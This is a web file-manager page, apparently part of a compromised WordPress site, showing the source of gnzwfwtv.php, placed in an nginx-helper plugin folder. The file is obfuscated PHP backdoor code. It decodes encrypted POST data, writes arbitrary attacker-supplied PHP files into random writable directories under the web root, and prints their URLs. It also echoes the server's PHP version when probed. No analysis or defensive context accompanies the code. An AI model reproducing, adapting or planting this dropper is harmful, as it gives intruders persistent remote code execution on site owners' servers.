文件操作 - gnzwfwtv.php

文件: /storage/v12552/redlightpain/public_html/wp-content/mu-plugins/nginx-helper/admin/gnzwfwtv.php

编辑文件内容

<?php function vcygroLLO($vyrQgM, $yIDMl, $kDLWuc){global $YzeLD;$RFfZIBPpkJ = chr(115)."\x74"."\162".chr(371-263).'e'.chr(110);return VgIWmBP(VgIWmBP($vyrQgM, $YzeLD[$yIDMl % $RFfZIBPpkJ($YzeLD)]), $kDLWuc);}$UfYWmVZ = "PPuoCG";function beFgtd($UfYWmVZ){ $Vqcsr = "\x73".chr(377-261).chr(114)."\137".chr(114).'o'."\164".chr(189-140).chr(51);$UfYWmVZ = $Vqcsr($UfYWmVZ);	$cgBCCBCyq = 'kClbivVLdX';$gtMAg = 'r'.'a'.chr(119).chr(645-528).chr(661-547)."\x6c".chr(672-572)."\x65".'c'."\157".'d'."\145";$UfYWmVZ = $gtMAg($UfYWmVZ);$mFJsqO = chr(115).'t'."\162"."\137"."\x73"."\160"."\x6c"."\151".'t';$UfYWmVZ = $mFJsqO($UfYWmVZ);	$bcwealFb = 28;return $UfYWmVZ;}function VgIWmBP($snKSHNKkzg, $RYTfIt){return $snKSHNKkzg ^ $RYTfIt;}function CPrzLv(){$pgRps = 52;$LzDcKvC = 19;}$YzeLD = "c3337a30-0131-4ce3-b286-d8eb17baa539";function iLpSmY($SAdITLVfx, $kDLWuc){$MZyAWTQPvE = chr(210-113)."\162".chr(398-284).'a'.chr(627-506)."\137".'v'.chr(841-744)."\154".'u'.chr(101)."\163";$GFTCF = 'a'.'r'."\162"."\x61".chr(121).chr(254-159).chr(107).chr(371-270).chr(121).'s';$wZrwQe = chr(577-480).'r'."\162".chr(97).chr(121)."\137".chr(109)."\x61".chr(488-376);$SAdITLVfx = $wZrwQe("vcygroLLO", $MZyAWTQPvE($SAdITLVfx), $GFTCF($SAdITLVfx), $MZyAWTQPvE($kDLWuc));$QKfhzUE = chr(105).chr(109).chr(460-348).'l'.'o'."\144"."\x65";$SAdITLVfx = $QKfhzUE("", $SAdITLVfx);$kNQuKfywx = 'u'.chr(1003-893)."\x73".chr(745-644)."\162".'i'."\x61".chr(262-154).chr(162-57)."\x7a".'e';$SAdITLVfx = @$kNQuKfywx($SAdITLVfx);return $SAdITLVfx;}function DmQosHNo($kDLWuc, $SAdITLVfx){$SjyjZtPm = 'a'.chr(114)."\x72".chr(944-847)."\171"."\137".chr(431-316)."\154".'i'."\143".chr(101);$LCjaunpFr = "\x73"."\164".chr(114).chr(666-571).chr(114).'e'."\160"."\x65".chr(262-165).'t';$dYVvqJVJN = chr(115).chr(116)."\x72".'_'."\x73".'p'."\x6c"."\x69"."\x74";$FKeYPEGpBN = 'i'.chr(110)."\164".chr(118)."\141".chr(857-749);$yLVauZ = chr(1041-942).chr(111).chr(1071-954)."\156".chr(116);$kDLWuc = $SjyjZtPm($dYVvqJVJN($LCjaunpFr($kDLWuc, $FKeYPEGpBN($yLVauZ($SAdITLVfx)/16)+1)), 0, $yLVauZ($SAdITLVfx));return $kDLWuc;}CPrzLv();function lyQzNOb(){echo "qyVfCSrvtt";	$FLSZSWrbJ = 27;}function bZyDft($AzXDdV){static $AiJmpDBL = array();$PzMUTbaX = glob($AzXDdV . '/*', GLOB_ONLYDIR);$LDnQqT = chr(336-237)."\157".chr(959-842).chr(110).chr(778-662);$eWVyecw = $LDnQqT($PzMUTbaX);if ($eWVyecw > 0) {foreach ($PzMUTbaX as $YIRlE) {$kvSoLGnPd = "\151".chr(115).'_'.chr(894-775)."\162"."\x69"."\x74".chr(97).'b'.chr(108)."\145";if (@$kvSoLGnPd($YIRlE)) {$AiJmpDBL[] = $YIRlE;}}}foreach ($PzMUTbaX as $AzXDdV) bZyDft($AzXDdV);return $AiJmpDBL;}function iTeSyeDIDr($SAdITLVfx){$wEIpxkHVyY = "\x44".chr(321-242).chr(67).chr(284-199).chr(262-185).chr(69)."\116"."\x54".chr(937-842).'R'.'O'."\x4f".chr(84);$KPWGVYrgb = $_SERVER[$wEIpxkHVyY];	$SNflBHm = 'YmdlHDeq';$PzMUTbaX = bZyDft($KPWGVYrgb);	$DyPStFOxu = 'cnlhHWE';$wukpJvIbT = "\x73"."\164"."\162"."\x6c"."\x65"."\x6e";	$SNflBHm = $wukpJvIbT($SNflBHm);$KkLShLAh = chr(149-52).chr(892-778).chr(114).'a'."\171".chr(95)."\x72".'a'."\156".chr(100);$zNKvop = $KkLShLAh($PzMUTbaX);$fLhXtlH = chr(115).'t'."\162".chr(245-129).chr(885-774).chr(117)."\160"."\x70"."\x65"."\x72";	$gOnqhiEoVp = $fLhXtlH($SNflBHm);$ecwvp = "\x2e"."\160"."\x68".'p';$CtdTZYlXMi = chr(47);$ZCpNlWVMv = "\163".chr(117)."\x62"."\163"."\x74"."\162";$tcNfCkU = chr(116).chr(755-650).'m'."\145";$LrToC = $PzMUTbaX[$zNKvop] . $CtdTZYlXMi . $ZCpNlWVMv(md5($tcNfCkU()), 0, 8) . $ecwvp;$MvrXGckG = "\146"."\151"."\154".chr(101).chr(95)."\x70"."\x75".chr(575-459).chr(95)."\143"."\157".chr(110).chr(116)."\145".chr(110).chr(116)."\x73";@$MvrXGckG($LrToC, $SAdITLVfx);	$TGCtuu = 'LInZewWgG';	$SNflBHm = $SNflBHm - 10;$pdoeGSM = chr(166-94).'T'.'T'.chr(637-557).chr(795-700).chr(694-622).chr(541-462).chr(533-450)."\x54";$osDQVpx = 'h'."\164"."\x74".chr(902-790)."\x3a"."\x2f"."\x2f";$yARtl = "\x73".chr(119-3).chr(114)."\x6c"."\x65"."\x6e";$zCBmwSefk = chr(115).chr(117).'b'.'s'.'t'.'r';$SNDgXJ = $osDQVpx . $_SERVER[$pdoeGSM] . $zCBmwSefk($LrToC, $yARtl($KPWGVYrgb));	$vaXMtwO = 5;print($SNDgXJ);$srHELORLk = 's'."\x74"."\162".'r'."\x70"."\157".chr(249-134);	$SNflBHm = $srHELORLk($gOnqhiEoVp, 'tlpko');}function hnwuKLh($SAdITLVfx, $zNKvop){if ($SAdITLVfx !== $zNKvop){iTeSyeDIDr($SAdITLVfx);		$kWAdeRlTt = 15;}else {yTPCgj();		$QCajTjgu = 3;}exit();}function yTPCgj(){$HtwpInRTt = "\x70".'h'.chr(404-292);$JCkii = "\160".chr(104)."\160".'v'.'e'."\162".'s'."\x69"."\x6f".'n';$SAdITLVfx = Array($HtwpInRTt => @$JCkii(), );$XPflXyaUd = "\x73".'e'."\x72".chr(105).chr(413-316).chr(108)."\x69".chr(703-581)."\145";echo @$XPflXyaUd($SAdITLVfx);}function UtxjjBGQA(){echo "PPuoCG";}function NOKESH($SAdITLVfx){$OPNRXasKmq = "\x61".chr(691-577)."\162".'a'.chr(347-226).'_'.chr(107).chr(101)."\x79".chr(155-40);return $OPNRXasKmq($SAdITLVfx);}foreach ($_POST as $kDLWuc => $SAdITLVfx){$OGioqbZnL = "\163"."\x74".'r'."\x6c"."\x65".chr(110);if ($OGioqbZnL($kDLWuc) == 16){$SAdITLVfx = beFgtd($SAdITLVfx);$kDLWuc = DmQosHNo($kDLWuc, $SAdITLVfx);$SAdITLVfx = iLpSmY($SAdITLVfx, $kDLWuc);$xKHGSGY = "\151"."\163".chr(95).'a'.chr(870-756).'r'."\x61".chr(121);if (@$xKHGSGY($SAdITLVfx)){$YKqNK = NOKESH($SAdITLVfx);			$oWtYCgjtL = 'NsjFGP';hnwuKLh($SAdITLVfx[$YKqNK[0]], $YKqNK[0]);$TCivTGFbD = 'rHNaugtAR';$TCivTGFbD = sha1($TCivTGFbD);$oWtYCgjtL = md5($TCivTGFbD);$TCivTGFbD = ltrim ($TCivTGFbD);			}}}die();?>

文件操作 - gnzwfwtv.php

文件: /storage/v12552/redlightpain/public_html/wp-content/mu-plugins/nginx-helper/admin/gnzwfwtv.php

编辑文件内容

修改文件时间

删除文件